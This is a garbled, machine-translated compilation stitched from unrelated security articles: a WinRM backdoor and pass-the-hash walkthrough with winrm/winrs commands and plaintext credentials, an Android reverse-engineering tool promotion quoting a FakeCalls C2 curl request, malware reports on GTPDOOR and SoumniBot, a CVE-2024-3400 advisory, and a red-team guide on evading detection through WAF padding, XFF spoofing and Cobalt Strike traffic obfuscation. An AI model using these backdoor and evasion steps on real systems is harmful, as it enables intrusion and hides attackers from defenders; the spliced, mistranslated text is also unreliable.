この攻撃方法には、アカウントとパスワードが必要です。ハッシュを取得した場合は、邪悪なウィンラムを使用してハッシュログインを実現することもできます。

サービスは導入

WinRMのフルネームはWindowsリモート管理であり、Microsoftのサーバーハードウェア管理機能の一部であり、ローカルまたはリモートサーバーを管理できます。 WINRMサービスにより、管理者はWindowsオペレーティングシステムにリモートでログインし、Telnetと同様のインタラクティブコマンドラインシェルを取得できますが、基礎となる通信プロトコルはHTTPを使用します。

バックドアアプリケーション

Windows2012サーバーでは、WinRMがデフォルトで開始され、ポート5985が有効になっており、2008年のシステムでサービスを手動で有効にする必要があります。

Winrm QuickConfig -Qスタートアップ後、ファイアウォールはポート20210104174750もリリースします

httplistenerリスニングの共存を有効にするように設定します

winrm set winrm/config/service @{enableCompatibilityhttplistener='true'} //80

winrm set winrm/config/service @{enableCompatibilityHttpsListener='true'} //443 20210104174922

リスニングポートを80/443に変更します

winrm set winrm/config/ristener?address=*+transport=http @{port='80 '}

winrm set winrm/config/リスナー?address=*+transport=https @{port='443'} 20210104175540

また、ローカル接続では、WinRMサービスをオンにしてから信頼できるホストをセットアップする必要があります。

Winrm QuickConfig -Q

winrm set winrm/config/client @{trustedhosts='*'}

Winrs -R:http://172.16.142.151:5985 -U3:ADMINISTRATOR -P:ADMIN123 'WHAAMI' 20210105131322 20210105125247

winrm pth

Macの下で邪悪なwinRMを使用してPTHを実装します

sudo gem install vail-winrm

邪悪なwinrm -i 172.16.142.151 -u管理者-h 8842

想要輕鬆掌握Android 惡意軟件的逆轉技術嗎? Incinerator 將是你在這場網絡攻防戰中的得力夥伴,無論是資深專家還是初出茅廬的新手,都能在這款工具中找到自己的舞台。

大家好!在這篇文章裡,我們將探索Incinerator 的強大功能、豐富特性以及它所帶來的種種優勢。這款Android 逆向工程工具集的靈感來自於廣受好評的Shambles項目。

1.png

我們的目標非常明確:打造一款能夠輕鬆應對Android 應用,尤其是惡意軟件的高級逆向工具。我們需要的是一個集反編譯、解密、動態調試和漏洞檢測於一體的全能工具。而且,這款工具還得能夠快速、準確地揪出那些常見和隱蔽的威脅跡象(IOCs)。

正是基於這些目標,我們推出了Incinerator!簡單來說,它是一個功能全面、操作簡便的逆向工程生態系統。不論你是經驗豐富的逆向工程專家,還是剛踏入惡意軟件分析領域的新手,Incinerator 都能滿足你的需求。

Incinerator 應用內置了多種強大功能,讓你可以輕鬆反編譯Android 應用,自動解密內容,取消反射API 調用,獲取清晰的反混淆代碼,並在真實設備上進行實時調試分析。這對於那些想要深入了解、分析和逆轉Android 惡意軟件的人來說,是一個完美的選擇,即使你沒有太多經驗也沒關係。

Incinerator 在後台進行的分析工作包括組件分析、安全漏洞檢測、靜態和動態代碼分析、漏洞挖掘以及惡意代碼分析。通過全面的檢查,Incinerator 能夠有效地幫助用戶識別和解決安全風險和漏洞。

在更高層次上,Incinerator 將解密任務放在雲端處理,其內部的漏洞分析引擎沙箱會實時更新漏洞庫,能夠精確到代碼的具體行來定位惡意代碼或漏洞。

多年前,Incinerator 與JEB 或GDA 進行了性能對比測試,並展現出了卓越的性能。如果你想看完整的對比報告,可以點擊這裡查看。

此外,我們還對比了多個威脅情報中心和在線沙箱的惡意代碼檢測與分析能力,以此來衡量Incinerator 的性能。結果同樣令人滿意,相關報告也可供大家參考。

2.png

3.png

現在,讓我們來認識一下Incinerator 背後的團隊。這款工具由Lian Security的一支約12 人的工程師團隊開發,歷時約兩年。他們也是SHAMBLES、INCINERATOR和FLEGIAS等產品的開發者,這些產品覆蓋了從軟件、基礎設施、硬件到基本操作和維護、產品UI 設計等多個領域。

4.png

Incinerator 可以在Windows、MacOS和Linux系統上運行。它支持分析APK 和DEX 文件。 APK 文件包含了編譯後的代碼文件(.dex 文件)、資源文件、證書和清單文件。 DEX 文件是Android 系統的可執行文件,包含了應用程序的所有操作指令和運行時數據。

分析文件的途徑有兩種,一種是通過Incinerator 的桌面應用程序界面,如下圖所示。

5.png

另一種是通過雲端的網絡門戶進行。

6.png

選擇哪一種方式,全憑個人喜好。我個人習慣於通過桌面應用程序上傳和打開APK。上傳後,你可以登錄到雲端門戶,在https://incinerator.cloud/#/main/task/list查看上傳的樣本。

7.png

從網絡門戶,你可以查看和處理生成的基於網絡的報告。這些報告可以分享給其他人進行APK 分析。這種訪問權限需要在你的UCENTER賬戶中進行配置,默認情況下是不公開的。

8.png

如果你想要深入了解報告,或者跟隨我們的分析步驟,請點擊這裡,你將看到如下的報告內容。

9.png

Incinerator 使用的ML 模型具有非常高的準確性。 Incinerator 的一些功能實際上是開源的,可以在Lian Security 的Github上找到。特別是用於處理和生成報告數據的兩個模型已經公開。

android-malware-detection

apk-obfucation-detection

在Base Info和Behavior Info面板以及Static Analysis、Dynamic Analysis和APK Risk側邊面板中,包含了大量的信息。我們的目標是提供一個材料清單(BOM),它從包管理器、二進製文件、源代碼和容器圖片中派生。

讓我們看看我個人特別喜歡的一些功能。你可以下載APK 的網絡流量,並將其導入到Wireshark 中進行分析。

10.png

例如,應用程序權限(Application Permissions)等許多面板,都是基於androidmanifest.xml文件的分析結果得出的,還有更多信息等待你去發掘。

11.png

快速瀏覽一下報告中的軟件組成分析(SCA)部分,你會發現這些信息大部分都是非常有價值的。

12.png

我邀請你自己去探索這份報告。我不會再次回到這個網絡門戶,因為在網絡上看到的所有內容都已經融入到了主應用程序中。

一旦樣本被雲端引擎完全分析,我們就可以開始在Incinerator 應用程序中對其進行分析。當你第一次加載樣本時,APK 報告會加載出來,它和網絡門戶報告中的內容非常相似。

13.png

如前所述,Incinerator 是一個沙箱工具,用於記錄應用程序的整個執行過程,以調用棧的形式展示。當用戶在本地打開相應的樣本時,我們可以提供類似動態調試的體驗。這使得用戶能夠理解樣本在動態執行後是如何被觸發的。

14.png

工具界面主要分為兩個部分:Base Info和Behavior info。每個部分提供的信息和主要差異如下,這些是你在使用時通常會看到的內容,但請注意,這裡列出的並不是全部信息。

15.png

在右側,我們有四個面板:Android Monitor、Set Debug Device、Static Analysis和Dynamic Analysis,我們將在後面的內容中詳細探討這些面板。

16.jpg

這是Incinerator 用戶界面的基本佈局。

17.png

讓我們開始逆轉一些惡意軟件吧!以FakeCalls 為例。逆轉惡意軟件的主要目標之一是識別攻擊者用來竊取和外洩數據的C2 和CC 通信渠道。 Incinerator 在識別這些通信渠道方面表現得非常出色。

18.png

正如上圖所示,我們知道這款惡意軟件使用了死信箱解析器(T1102.001)。這是一種將惡意內容存儲在合法網絡服務上,然後通過調用將其安裝到受害者設備上的技術。這些服務常常用來代理和掩蓋與真實CC 服務器之間的通信,通過額外的域名和IP 地址實現。

讓我們通過checkpoint 報告中檢索到的curl 信息,手動在Incinerator 中逆轉這種行為。 Incinerator 引擎識別出了執行請求到C2 服務器daebak222.com/huhu/admin.txt的代碼,如下圖所示。

19.png

如果我們對端點執行curl 命令,將會得到以下輸出。

$ curl https://www.daebak222.com/huhu/admin.txt

{

'a01': 'eWVlYWIrPj5mZmY_dXB0c3B6IyMjP3J-fA==',

'b05': 'Y2ViYWIrPj4gICI_IyAjPykpPyAlKSspIiMjPn14Z3Q=',

'a07': 'eWVlYWIrPj4gKSM_ICc_JSM_ICkrJCEkJD55ZHlkPnB1fHh_P2VpZQ=='

}

我們的目標是理解惡意軟件為何要獲取這些信息,以及它的用途。結果發現,這些信息被用來更新它的C2 通信渠道。這次檢測的整個調用棧指向了ServerInfoService.java,它調用了Service和Binder Android類,這些類通常在你需要通過HTTP 請求獲取服務器信息的服務中使用。它還提供了其他組件訪問這些信息的方法。

ServerInfo類包含了有關服務器的信息。

a01 (eWVlYWIrPj5mZmY_dXB0c3B6IyMjP3J-fA==),

b05 (Y2ViYWIrPj4gICI_IyAjPykpPyAlKSspIiMjPn14Z3Q=),

a07 (eWVlYWIrPj4gKSM_ICc_JSM_ICkrJCEkJD55ZHlkPnB1fHh_P2VpZQ==)

它代表了我們期望從服務器獲取的各種屬性。

20.png

其中,serverInfo.a01代表新服務器,serverInfo.b05代表備用服務器,serverInfo.a07代表從哪個服務器獲取信息。 fetch()和fetchFromAlternative()方法用來啟動HTTP 請求,以獲取服務器信息。

21.png

如果我們在Incinerator 控制台中按下tab鍵進入fetch()方法,我們可以看到Android 應用程序字節碼的中間語言,也就是所謂的'smali' 代碼。在這裡我們可以清楚地看到eWVlYWIrPj5mZmY_dXB0c3B6IyMjP3J-fD55ZHlkPnB1fHh_P2VpZQ==實際上是daebak222.com/huhu/admin.txt。就在下面,我們有onData方法,如果成功獲取服務器信息,則記錄成功消息。然後,它會檢查ServerInfo對象的字段(a01、b05、a07)是否有空。如果任何一個字段為空,它會記錄一個警告消息,指示服務器信息無效。否則,它將調用ServerInfoService類的updateServerInfo方法,傳遞接收到的ServerInfo對象,以更新服務器信息。

22.png

太棒了!有了Incinerator,這一切都變得非常簡單。接下來,讓我們看看Incinerator 的檢測能力。 Incinerator 識別出惡意軟件能夠捕獲設備接收的SMS 消息,發送短信,並根據C2 服務器的指令撥打電話。

23.png

讓我們驗證一下這款惡意軟件是否真的具備在受感染設備上捕獲電話通話、短信等信息的能力。首先,我們需要確認惡意軟件是否已經獲取或為自己分配了獲取這些信息的權限。從下面的圖中可以看出,它確實擁有大量權限。

24.png

那麼,惡意軟件是如何獲得這些權限的呢?我們可以雙擊調用棧中的任何參數,打開相應的代碼進行查看。特別值得注意的是Add New Device Administrator的事件。

25.png

惡意軟件會檢查設備管理員是否活躍,如果不是,它會通過發送一個Intent 來請求設備管理員權限,這個Intent的動作是android.app.action.ADD_DEVICE_ADMIN。只要用戶不答應,它就會不斷地通過循環窗口請求權限。

26.png

27.png

一旦用戶授予了權限,根據我的經驗,唯一手動停用它的方法是在Settings - Security - Device Management中操作,但到那時可能已經太晚了。

下面列出的是應用程序請求或已經獲取的權限,但這個列表並不全面:

permissionNames.add('READ CONTACTS');

permissionNames.add('WRITE CONTACTS');

permissionNames.add('READ SMS');

permissionNames.add('RECEIVE SMS');

permissionNames.add('SEND SMS');

permissionNames.add('RECORD AUDIO');

permissionNames.add('READ PHONE STATE');

permissionNames.add('WRITE EXTERNAL STORAGE');

permissionNames.add('READ EXTERNAL STORAGE');

permissionNames.add('CHANGE WIFI STATE');

permissionNames.add('INTERNET');

permissionNames.add('ACCESS WIFI STATE');

permissionNames.add('GET ACCOUNTS');

permissionNames.add('READ LOGS');

permissionNames.add('PROCESS OUTGOING CALLS');

permissionNames.add('CALL PHONE');

permissionNames.add('RECEIVE BOOT COMPLETED');

permissionNames.add('DISABLE KEYGUARD');

permissionNames.add('INSTALL SHORTCUT');

permissionNames.add('UNINSTALL SHORTCUT');

permissionNames.add('WAKE LOCK');

permissionNames.add('CHANGE WIFI STATE');

permissionNames.add('INTERNET');

permissionNames.add('ACCESS WIFI STATE');

permissionNames.add('GET ACCOUNTS');

permissionNames.add('READ LOGS');

permissionNames.add('PROCESS OUTGOING CALLS');

permissionNames.a

安全研究人員發現了一個專為移動運營商網絡設計的新的Linux 後門,名為GTPDOOR。 GTPDOOR 背後的威脅分子以GPRS 漫遊交換(GRX) 附近的系統為目標,例如SGSN、GGSN 和P-GW,這些系統可以為攻擊者提供對電信核心網絡的直接訪問。

GRX 是移動電信的一個組件,可促進跨不同地理區域和網絡的數據漫遊服務。服務GPRS 支持節點(SGSN)、網關GPRS 支持節點(GGSN) 和P-GW(分組數據網絡網關(用於4G LTE))是移動運營商網絡基礎設施內的組件,每個組件在移動通信中發揮不同的作用。

由於SGSN、GGSN和P-GW網絡更多地暴露在公眾面前,IP地址範圍列在公開文件中,研究人員認為它們可能是獲得移動運營商網絡初始訪問權限的目標。

tweet.webp.jpg

安全研究人員解釋說,GTPDOOR 很可能是屬於“LightBasin”威脅組織(UNC1945) 的工具,該組織因專注於全球多家電信公司的情報收集而臭名昭著。

研究人員發現了2023 年底上傳到VirusTotal 的兩個版本的後門,這兩個版本基本上都沒有被防病毒引擎檢測到。這些二進製文件針對的是非常舊的Red Hat Linux 版本,表明目標已經過時。

samples.webp.jpg

隱秘的GTPDOOR 操作GTPDOOR 是一種專為電信網絡量身定制的複雜後門惡意軟件,利用GPRS 隧道協議控制平面(GTP-C) 進行隱蔽命令和控制(C2) 通信。它用於部署在與GRX 相鄰的基於Linux 的系統中,負責路由和轉發漫遊相關的信令和用戶平面流量。

使用GTP-C 進行通信允許GTPDOOR 與合法網絡流量混合,並利用不受標準安全解決方案監控的已允許端口。為了提高隱蔽性,GTPDOOR 可以更改其進程名稱以模仿合法的系統進程。

該惡意軟件偵聽特定的GTP-C 回顯請求消息(“魔術數據包”)以喚醒並在主機上執行給定的命令,將輸出發送回其操作員。

packet.webp.jpg

惡意數據包結構

GTP 數據包的內容使用簡單的XOR 密碼進行身份驗證和加密,確保只有授權的操作員才能控制惡意軟件。

GTPDOOR v1 支持在被破壞的主機上執行以下操作:

马云惹不起马云設置用於C2 通信的新加密密鑰

马云惹不起马云將任意數據寫入名為“system.conf”的本地文件

马云惹不起马云執行任意shell命令並發送回輸出

GTPDOOR v2 支持上述操作以及以下操作:

马云惹不起马云指定允許通過訪問控制列表(ACL) 機制與受感染主機通信的IP 地址或子網

马云惹不起马云檢索ACL列表,對後門的網絡權限進行動態調整

马云惹不起马云清除ACL 以重置惡意軟件

安全研究人員還強調了該惡意軟件能夠從外部網絡秘密探測,通過任何端口傳遞的TCP 數據包引發響應。

attack-overview.webp.jpg

GTPDOOR 攻擊概述

檢測與防禦檢測策略包括監視異常的原始套接字活動、意外的進程名稱以及特定的惡意軟件指示器(例如重複的系統日誌進程)。

推薦的檢測步驟如下:

1.使用lsof 檢查打開的原始套接字,表明存在潛在的漏洞。

2.使用netstat -lp --raw 查找異常的監聽套接字。

3.識別具有異常PPID 的模仿內核線程的進程。

4.搜索/var/run/daemon.pid,這是GTPDOOR 使用的互斥文件。

5.查找可能由惡意軟件創建的意外system.conf 文件。

PID.webp.jpg

PID異常

還提供了以下供防御者檢測GTPDOOR 惡意軟件的YARA 規則。

YARA.webp.jpg

最後,安全研究人員提出了防禦措施,如設置嚴格規則並自覺遵守GSMA 安全指南,利用GTP 防火牆,阻止或過濾掉惡意數據包和連接。

漏洞概述漏洞類型

遠程命令執行

漏洞等級

嚴重

漏洞編號

CVE-2024-3400

漏洞評分

10

利用複雜度

影響版本

PAN-OS 11.1.* 11.1.2-h3

PAN-OS 11.0.* 11.0.4-h1

PAN-OS 10.2.* 10.2.9-h1

利用方式

遠程

POC/EXP

未公開

Palo Alto Networks的PAN-OS是一個運行在Palo Alto Networks防火牆和企業VPN設備上的操作系統。 Palo Alto Networks PAN-OS軟件的GlobalProtect功能存在命令注入漏洞,針對特定的PAN-OS版本和不同的功能配置,可能使未經身份驗證的攻擊者能夠在防火牆上以root權限執行任意代碼。 2024年4 月10日,Volexity 發現其一名網絡安全監控(NSM) 客戶對Palo Alto Networks PAN-OS GlobalProtect 功能中發現的漏洞進行了零日利用,攻擊者能夠創建反向shell、下載工具、竊取配置數據以及在網絡內橫向移動。 Palo Alto Networks PSIRT 團隊確認該漏洞為操作系統命令注入問題,並將其分配為CVE-2024-3400。

僅適用於啟用了GlobalProtect gateway(Network GlobalProtect Gateways)和device telemetry(Device Setup Telemetry)的PAN-OS 10.2、PAN-OS 11.0和PAN-OS 11.1防火牆。

資產測繪據www.daydaymap.com數據顯示,近半年國內風險資產分佈情況如下,主要分佈在台灣省。

QQ截图20240418162314.png

解決方案官方已發布修復方案,受影響的用戶建議更新至安全版本。

https://support.paloaltonetworks.com/support

一種名為“SoumniBot”的新Android 銀行惡意軟件通過利用Android 清單提取和解析過程中的弱點,使用了新的混淆方法。

該方法使SoumniBot 能夠規避Android 手機中的標準安全措施並執行信息竊取操作。

研究人員發現並分析後提供了該惡意軟件利用Android 例程解析和提取APK 清單的方法的技術細節。

欺騙Android 的解析器清單文件(“AndroidManifest.xml”)位於每個應用程序的根目錄中,包含有關組件(服務、廣播接收器、內容提供程序)、權限和應用程序數據的詳細信息。

雖然惡意APK 可以使用Zimperium 的各種壓縮技巧來愚弄安全工具並逃避分析,但分析師發現SoumniBot 使用了三種不同的方法來繞過解析器檢查,其中涉及操縱清單文件的壓縮和大小。

首先,SoumniBot 在解壓APK 的清單文件時使用無效的壓縮值,該值與負責該角色的Android“libziparchive”庫預期的標準值(0 或8)不同。

Android APK 解析器不會將這些值視為不可接受,而是默認將數據識別為由於錯誤而未壓縮,從而允許APK 繞過安全檢查並繼續在設備上執行。

extraction.webp.jpg

從APK 中提取清單文件

第二種方法涉及錯誤報告APK 中清單文件的大小,提供大於實際數字的值。

由於該文件在上一步中已被標記為未壓縮,因此直接從存檔中復制該文件,並用垃圾“覆蓋”數據填充差異。

雖然這些額外的數據不會直接損害設備,但它在混淆代碼分析工具方面發揮著至關重要的作用。

wrong-size.png

報告錯誤的文件大小

第三種規避技術是在清單文件中使用非常長的字符串作為XML 命名空間的名稱,這使得自動分析工具很難檢查到它們,而自動分析工具通常缺乏足夠的內存來處理它們。

long-string.png

清單中的長字符串

Android 官方分析實用程序APK 分析器無法使用上述規避方法處理文件。

SoumniBot 威脅啟動後,SoumniBot 從硬編碼服務器地址請求其配置參數,並發送受感染設備的分析信息,包括編號、運營商等。

接下來,它會啟動一個惡意服務,如果停止,該服務每16 分鐘就會重新啟動一次,並每15 秒傳輸一次從受害者那裡竊取的數據。

洩露的詳細信息包括IP 地址、聯繫人列表、帳戶詳細信息、短信、照片、視頻和網上銀行數字證書。數據洩露由惡意軟件通過MQTT 服務器接收的命令控制,這些命令還對以下功能進行排序:

马云惹不起马云刪除現有聯繫人或添加新聯繫人

马云惹不起马云發送短信(轉發)

马云惹不起马云設置鈴聲音量

马云惹不起马云打開或關閉靜音模式

马云惹不起马云打開或關閉設備上的調試模式

目前尚不清楚SoumniBot 如何到達設備,但方法可能有所不同,從通過第三方Android 商店和不安全網站分發到使用受信任存儲庫中的惡意代碼更新合法應用程序。

SoumniBot 主要針對韓國用戶,與許多惡意Android 應用程序一樣,它在安裝後隱藏其圖標,使其更難以刪除。其實,它在後台仍然活躍,並從受害者處上傳數據。

image-20200926004647258

最近、私はそれを理解しているので、ブルーチームに戻りました。私は時折、顧客とのつながりにゲストの役割を果たし、接触した各デバイスの特性に基づいていくつかの要約を書きました。レッドチームのビジョンから、ソースが追跡されないようにする方法。

--- 8SEC.CC

1。ハニーポットシステム

ブラウザの使用量

単一の分離ブラウザ

浸透中に一般的なブラウザとは異なるブラウザを使用してみてください。

Traseless Mode

を使用します

FirefoxとChromeには微量モードがあります。ターゲット資産がわからない場合は、テストのためにTrageless Modeをオンにしてください。

上記の2つの方法は、主にJSONPコールバック、XSS、およびハニーポットでその他の脆弱性を使用して、REDチーム担当者のIDと情報を取得することを避けることができます。

ただし、ハニーポットで使用される指紋ライブラリは、ソース訪問者が異なるIPSと異なるブラウザの特定の識別に基づいて同じ人物であるかどうかを判断できます。したがって、トレースレスモードと異なるブラウザのみを使用すると、ハニーポットの認識にもつながります。

アンチハニーポットプラグイン

ハニーポットをバイパス

AntihoneyPot-ハニーポットXSSIを傍受するクロム拡張機能

関数

ページで開始されたXSSIリクエストを傍受し、特徴の識別を通じて疑わしいXSSI(JSONPコールバック、XSSなど)をブロックし、ハニーポットの固有の特徴を分析し、つかみ、すべてのリクエストを識別し、すべてのリクエストを識別して、ライブラリが存在するかどうかを判断するかどうかを判断します。 Clipboard Pasteが(さらに検証するために)評価されているかどうかを判断するための関連する呼び出しは、ワンクリックで現在のWebサイトのすべてのブラウザデータ機能(すべてのキャッシュおよび保存されたものを含む)をクリアして、ファイルシステムをページで操作できるかどうかを判断します(ここに記述できます)ハニーポットとは、VPSがbeat打されており、日常的に削除されていることは、Redチームの職員がLinux/Windowsの操作とメンテナンスの理解がないということです。

たとえば、Dockerを使用して脆弱な環境を構築することが逃げます。

ワンクリック環境を使用して、デフォルトのプログラムデフォルトパスワード(PHPMYADMIN、BT/PMAの脆弱性、情報漏れの脆弱性)を構築する

NMAPのインタラクティブ実行コマンドは、suidビットエスカレーションなどを見つけます。

2。対策を防ぐ

さまざまなアプリケーション、iptables、リモートログイン制限ログインソース、およびバーストの数をインストールするためのターゲット制限が必要です。 CSなどのソフトウェアをインストールして使用することをお勧めします。777のアクセス許可は与えません。今回は、権利の逆栄養の事例があります。

image-20200925233349340

サーバースプリングボードマシン

広く流通しているカウンターケースでは、Blue Team VPNインストールパッケージのバンドルされた馬/白と黒の使用により、Red Teamの職員がオンラインになりました。したがって、ファイナンス(すなわちコントロール)、VPNなどのターゲットをダウンロード/インストールする場合は、可能な限り仮想マシンで操作して、異なる作業/プロジェクトごとに画像をロールバックし、仮想マシンネットワークエージェントの構成が完了したらバックアップを作成します。

サーバーインストールアプリケーション/管理

仮想マシンランニングソフトウェア

Alibaba Smallアカウントは登録と申請を禁止しており、しばらく閉鎖されると推定されています。定期的な普及中に、SMSカードを購入したり、コードレシーブプラットフォームを使用したり、インターネット電話を使用して電話をかけたり、本名カードを購入したりすることができます。日常生活から身体的孤立を達成することが最善です。

3。隠れている情報

Alipayには以前に問題がありました。オンラインマーチャントバンクを有効にすると、3つの文字を持つ転送オブジェクトの名前を直接確認できます。 2文字の場合、Alipay転送関数を直接使用して、他の情報に基づいて名前を推測できます。

image-20200925233239370

隠された携帯電話番号

Wechatは、IDが漏れている場所でもあります。携帯電話検索をオフにし、Wechatグループに友達を追加し、QRコードが友人を追加できるようにし、3日以内に友人のサークルを見ることができるようにします。友達に可能な限り偽の名前を作るように頼んでください。例:Zhang xx li xx

alipay

WeChatと同じように、スペースの非フレンドアクセス、アクセス日の制限、写真の制限、写真の壁の制限、ゲームディスプレイを閉じます。友達に可能な限り偽の名前を作るように頼んでください。たとえば、Zhang XX Li XX、私はQQでこの問題を抱えていて、友人の間でメモを使用して私の本名を漏らしました。

https://zhuanlan.zhihu.com/p/95525409

QQ一般的な友達の本名を取得します

https://github.com/anntsmart/qq

使用できなくなりましたが、関連するインターフェイスが漏れていないという意味ではありません。たとえば、以前のT.QQ.comでQQにログインすると、セキュリティの検証なしで直接ログインしてQQ SEALEYを取得できます。

wechat

:ブラザーパンツなどの一般的なネットワークIDに通常の文字を使用してみてください。この種のニュースフィギュア。

qq

可能な限り偽の名前を作るように友達に依頼してください。たとえば、Zhang XX Li XX、私はQQでこの問題を抱えていて、友人の間でメモを使用して私の本名を漏らしました。

ソーシャルワークライブラリにはますます多くの情報があるため、隠すためにお金を使うことは純粋にダチョウです。したがって、偽の名前+小さなアカウントを使用して排出/明示するなど、さまざまな場所での真の情報のみを隠すことができます。オンラインで生成された情報またはあなたが知っているソースを使用して身元情報を登録します。

ネットワークID隠し

ネットワークの隠蔽を強調する必要があります。さまざまなプロキシメソッドと、どのような状況下で使用するのに適したかの違いが必要です。

本名は非表示/誤解を招く

です

4。ネットワーク隠蔽

接続トラフィックは暗号化/観察されます。 KCPを使用する場合は、WeChatビデオトラフィックをシミュレートできます。

ss/v2

Socks5が使用されるため、TCPトラフィックのみをプロキシでき、ICMP/UDPはプロキシできません。また、クライアントの転送パフォーマンスの問題により漏れを引き起こすのは簡単です。

利点

短所

従来の専用ラインプロキシモードは、さまざまなシステムのグローバルプロキシをサポートしています。鍵をクラックする可能性は高くありません。プロキシは、異なるアドレスにアクセスして異なるルートに移動するかどうかを判断するために、ルートを手動で設定できます。 0.0.0.0を設定して、VPNの完全なプロトコルに移動できます。 OpenVPN/SoftEtherVpnを簡単に構築できます

Linux構造:

https://github.com/hwdsl2/setup-ipsec-vpn/blob/master/readme-zh.md

vpn l2tp/pptp

ネットワークが不安定な場合、背景は簡単に直接落ち、プロンプトは非常に短いため、裸で実行するのは簡単です。ルーターが制限されているときにポート1723のみが外出することを許可されていることをお勧めします。そうすれば、切断されている場合、ネットワークを直接離れることができません。 VPNに接続するまで。国内ネットワーク内のすべてのL2TPトラフィックを復号化できます。

利点

製品リスト:

短所

SSLプロトコルは、主にSSL記録プロトコルとハンドシェイクプロトコルで構成されており、アプリケーションアクセス接続の認証、暗号化、改ざん防止関数を一緒に提供します。トラフィックは暗号化できます。

sslvpn

SSL VPNはWebブラウザーアプリケーションに限定されており、一部のプロトコルを使用することはできません。

利点

短所

ソフトウェアをコンパイルする過程で、管理者ユーザーを使用して仮想マシンでコンパイルすることをお勧めします。 C#/Cがコンパイルされた後にユーザー名が漏れた場合、ユーザー名が漏れます。これにより、ID情報はWeibuなどのプラットフォームに関連付けられます。

PDBファイル:すべての開発者が知っておくべきこと

5。開発とアプリケーションが隠されています

また、github/blog/wxの記事から別のIDを使用して、以前に作成された誤った情報で取得できる検索結果または情報を集中してみてください。オープンコードのために、個人情報を漏らす機能の害を最小限に抑えます。

デスクトップユーザーを開発およびコンパイルします

github/blog/wechat公式アカウント記事

柔軟なC2を使用してCSトラフィックを難読化し、ドメインフロントと協力してバックエンドIPを隠し、デフォルトのCS証明書を置き換えます。

6。ネットワークデバイストラフィックの混乱

いくつかのWAFデバイスのトラフィックを表示すると、WAFの機能的な制限により、大きなパッケージに大きなパッケージを記録しないことがわかります。パッケージがルールをトリガーすると思われる場合は、まずいくつかのガベージ文字を身体に記入できます。このようにして、実際のマッチングコンテンツはハードWAFで見ることができず、ブルーチームを誤解させてビジネスであるかどうかを判断することもできます。 (フルフローデバイスはありません)

csトラフィックの混乱

AISA/TIANYANなどのデバイスでは、パッケージに悪意のあるコンテンツがある場合、いくつかの弱いパスワード機能/プレーンテキストパスワードログインおよびその他のアラームを記入して、リスクの高いアラームをカバーします。

パッケージパッド付きバイト

WAFのテスト中に混乱を招くホストが見つかった場合、WAFはpre-natアドレスを検出できます。ターゲットイントラネットのいくつかのIPアドレスを理解できる場合は、ホストの難読化を使用して、WAFモニターがpre-natアドレスがイントラネットデバイスのアドレスであると判断できるようにすることができます。これにより、他の当事者が安全なサーバーに応答し、相手の時間コストを増加させるように導くこともできます。

パケット混乱低リスクアラーム

通常、XFFヘッダー偽造はWebログインIPの制限をバイパスするために使用されますが、一部の複雑なイントラネットの場合、セキュリティデバイスはXFFヘッダーを使用して攻撃の最も外側の攻撃IPを判断してからブロックします。これは、攻撃プロセス中に交換するか、XFFヘッダーを追加して、相手の監視担当者を自分で混同します。または、CDNの前にXFFを追加してから、CDNをXFFを連続的に重ねさせます。 WAFでのXFFの追加を表示した後、攻撃IPを127.0.0.1として正常に特定しました。

ホストの混乱

赤いチームプロジェクトのトレーサビリティを防ぐために、可能な限り浸透のためにトラフィックカードを使用することをお勧めします。一部のトラフィックカードは都市にジャンプしますが、これは非常に良いです。私が今使用しているカードを含めて、IP判断は基本的に中国であり、州でさえ出てきません。これは、ブルーチームが一般的に使用されるIPロケーションに基づいて配置されていることは言うまでもありません。

image-20200926004318036

XFFヘッダーの混乱

通常、DNSの特性はブラックドメイン名に定期的に開始されます(有効になっていない場合)

image-20201009113709670

image-20201009112952911

of3kym24zad11279.png

この場合、DNS特性を決定することは非常に困難ですが、それを確認する場合は、TianyanでDNS-Type:1を確認できます。

レコードA:

image-20201009115956966

DNS-TXTを有効にした後、特性はより明白です。

image-20201009120341817

image-20201009120805522

DNS-TypeはTXTタイプのレコードを見つけることができ、TianyanでDNS-Type:16を検索します。 TXTの記録がある場合、多数のXXX.16-digital.domain形式でCSのDNS馬として一時的に判断できます。ただし、CCSの3.14バージョンのリクエストが暗号化された後、暗号化キーはまだ見ていません。まだ解決されていません。

コマンドを実行する特性は投稿です。

數據是現代企業的新石油:正確使用它可以促進公司的發展並幫助企業在競爭中領先。就像石油一樣,原始數據和未被發現的數據是毫無用處的,企業將無法從中受益;在最壞的情況下,它可能會導致安全事件。這也是企業投資敏感數據發現和保護解決方案的原因。

傳統的數據發現工具由數據掃描儀和基於規則的算法提供支持,這些工具通常不足以掌握不斷增長的新數據流。因此,許多企業利用人工智能(AI) 增強其數據發現和保護解決方案。

在本文中,我們將討論基於規則係統的主要缺點以及使用人工智能發現和保護敏感數據的好處、典型的數據發現和保護解決方案的工作原理,還分享有Apriorit 經驗中的開發技巧。

敏感數據發現如何影響企業安全將敏感數據保存在一個安全的存儲位置似乎是一項容易的任務,但實際上對於許多企業來說幾乎是不可能的。在COVID-19 大流行期間過渡到遠程或混合工作、將本地環境遷移到雲或經歷合併和收購過程,可能會導致敏感數據存儲在最不明顯的地方。此類數據會受到網絡安全解決方案的關注,並增加數據洩露或安全事件的風險。

存儲在企業控制和安全邊界之外的數據會帶來數據盜竊或數據洩漏等安全事件的風險。這就是企業投資敏感數據發現軟件的原因——用於檢測、識別和組織所有組織資源和環境中的記錄的工具。

實施這樣的解決方案可以讓企業:

马云惹不起马云 確保遵守網絡安全法

马云惹不起马云防止數據被盜和洩露

马云惹不起马云進行數據驅動的網絡安全改進

马云惹不起马云提高數據管理效率

image.png

跨不同環境和基礎設施控制敏感數據的需求不斷增長,導致數據發現軟件越來越受歡迎。事實上,全球敏感數據發現市場預計將從2020 年的51 億美元增長到2026 年的124 億美元。

敏感數據保護髮現和工具對於以下行業中處理敏感信息的企業尤其重要:

马云惹不起马云 金融科技

马云惹不起马云零售與電子商務

马云惹不起马云衛生保健

马云惹不起马云保險

马云惹不起马云運輸與物流

马云惹不起马云人力資源和客戶服務

马云惹不起马云軟件開發

然而,傳統的數據發現解決方案無法始終跟上現代公司生成新記錄的速度。接下來,我們來看看這些工具的主要弱點和局限性。

為什麼傳統的數據發現工具不夠用雖然用於數據發現和保護的專用工具可提供許多業務優勢,但管理它們並將其集成到現有的公司係統中可能具有挑戰性。

以下是基於規則的數據發現的主要缺點:

image.png

